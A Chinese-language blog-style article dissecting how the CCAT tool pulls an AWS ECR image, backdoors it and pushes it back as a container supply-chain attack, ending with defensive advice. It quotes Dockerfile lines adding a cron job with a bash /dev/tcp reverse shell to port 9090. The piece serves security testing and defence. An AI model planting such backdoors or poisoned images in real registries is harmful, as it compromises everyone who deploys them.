ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

CCAT推送模块剖析:被篡改镜像如何回流ECR?容器供应链投毒攻击全链路解析

CCAT推送模块剖析:被篡改镜像如何回流ECR?容器供应链投毒攻击全链路解析 CCAT推送模块剖析被篡改镜像如何回流ECR容器供应链投毒攻击全链路解析【免费下载链接】ccatCloud Container Attack Tool (CCAT) is a tool for testing security of container environments.项目地址: https://gitcode.com/gh_mirrors/ccat/ccatCCATCloud Container Attack Tool云容器攻击工具是一款用于容器环境安全测试的开源工具其核心推送模块能把被篡改的 Docker 镜像重新推回 AWS ECR 镜像仓库完成容器供应链投毒攻击。本文通过真实演示场景剖析这条拉取—篡改—推送的完整攻击链路以及企业该如何防御。1️⃣ CCAT是什么面向安全人员的容器攻击测试工具CCAT 由 Rhino Security Labs 维护聚焦云上容器仓库ECR/GCR的攻击面内置了一组环环相扣的功能模块ECR/GCR 枚举发现目标云环境中存在的镜像仓库ECR/GCR 拉取把目标 Docker 镜像拉到本地Docker Backdoor向镜像中注入后门反向 shell 等ECR/GCR 推送把投毒后的镜像推回仓库完成供应链投毒启动 CCAT 后主菜单即可看到 AWS、GCP、Docker 三大功能分组推送功能Push Repos to ECR就在其中完整的分步演示流程记录在docs/SCENARIO_README.md中值得逐帧研读。2️⃣ 攻击路线总览四步完成镜像投毒CCAT 官方演示给出的标准攻击路线非常清晰——从被窃取的 AWS 凭据开始最终让被篡改的镜像落回 ECR步骤动作对应模块1枚举 ECR 仓库modules/ecr__enum_repos/main.py2拉取目标镜像modules/ecr__pull_repos/main.py3构建带后门的镜像modules/docker__backdoor/main.py4推送投毒镜像到 ECRmodules/ecr__push_repos/main.py其中推送模块是整条链路的临门一脚前序所有步骤都在为它做准备。3️⃣ 前期准备从 ECR 拉取目标镜像推送之前攻击者先要把原始镜像拿到手。CCAT 提供批量拉取和单仓库多标签拉取两种选项演示中攻击者选择了后者依次输入 AWS 区域、ECR 仓库 URI 和镜像标签底层实现上modules/ecr__pull_repos/main.py会先调用 ECR API 的get_authorization_token获取临时令牌从中解码出登录用户名和密码再自动登录仓库并拉取镜像——整个过程无需手动docker login。4️⃣ 篡改镜像往 Docker 镜像里植入反向 shell ️拿到镜像后CCAT 的 Docker Backdoor 模块modules/docker__backdoor/main.py会即时生成一份 Dockerfile并构建新镜像。演示中的篡改逻辑堪称教科书级RUN apt-get ... install cron—— 安装定时任务组件RUN echo ...bash -i /dev/tcp/.../9090 01 /etc/crontab—— 写入反向 shell 定时任务CMD cron nginx -g daemon off;——覆盖原始 CMD容器启动时先拉起 cron再让 nginx 前台运行这样产出的镜像表面上功能完好但容器一启动后台就会悄悄连回攻击者推送之前攻击者会先本地运行投毒镜像做验证nginx 服务正常响应而攻击者侧的 9090 监听器成功收到了反弹回来的 shell5️⃣ 核心剖析推送模块如何把镜像回流 ECR 验证通过后攻击者在主菜单选择Push Repos to ECR开始执行回流推送模块会请求三个关键参数AWS 区域、ECR 仓库 URI、镜像标签——注意演示中填写的是篡改后的backdoor标签5.1 推送流程的四个关键动作推送模块源码位于modules/ecr__push_repos/main.py作者Rhino Security Labs 的 Jack Ganbold整个main()函数用四步完成回流建立 AWS 会话根据 CLI Profile 与区域创建 ECR 客户端get_aws_session获取授权令牌调用ecr_client.get_authorization_token()解码登录凭据Base64 解码authorizationToken得到用户名、密码并从proxyEndpoint提取仓库地址登录并推送docker_client.login()校验 Login Succeeded 后docker_client.images.push()逐层推送镜像并流式打印进度核心逻辑其实就浓缩在下面这一步拿到令牌、解码凭据、登录、推送。5.2 投毒结果验证ECR 控制台前后对比推送之前仓库里只有正常的latest镜像推送完成后仓库中多出了一个backdoor镜像Digest 与体积都和原镜像明显不同——任何拉取该标签部署的应用都会自动带后门启动容器供应链至此已被完整投毒。6️⃣ 防御建议如何防止被篡改镜像流入仓库 ️这条全链路演示同样暴露了容器注册表安全的关键薄弱点建议从以下方面加固凭据最小权限严格收紧ecr:PutImage写权限普通 CI 服务不需要推送任意标签的能力启用镜像签名只拉取已签名镜像未签名的篡改镜像直接被拒绝监控异常推送对 CloudTrail 中的 PutImage 调用设置告警重点关注新来源 IP 或异常时段的推送新镜像安全扫描对每次入库的新镜像扫描反向 shell、crontab 持久化等恶意模式缩短凭据有效期ECR 令牌本身是短期凭据但用于换取令牌的 AK 应定期轮换7️⃣ 总结CCAT 的推送模块只有短短几十行代码却把枚举—拉取—篡改—推送的容器供应链投毒链路完整闭环。安全测试人员建议在隔离环境中如配套靶场完整复现docs/SCENARIO_README.md里的演示场景这是理解 ECR 等容器仓库风险最快的方式。【免费下载链接】ccatCloud Container Attack Tool (CCAT) is a tool for testing security of container environments.项目地址: https://gitcode.com/gh_mirrors/ccat/ccat创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表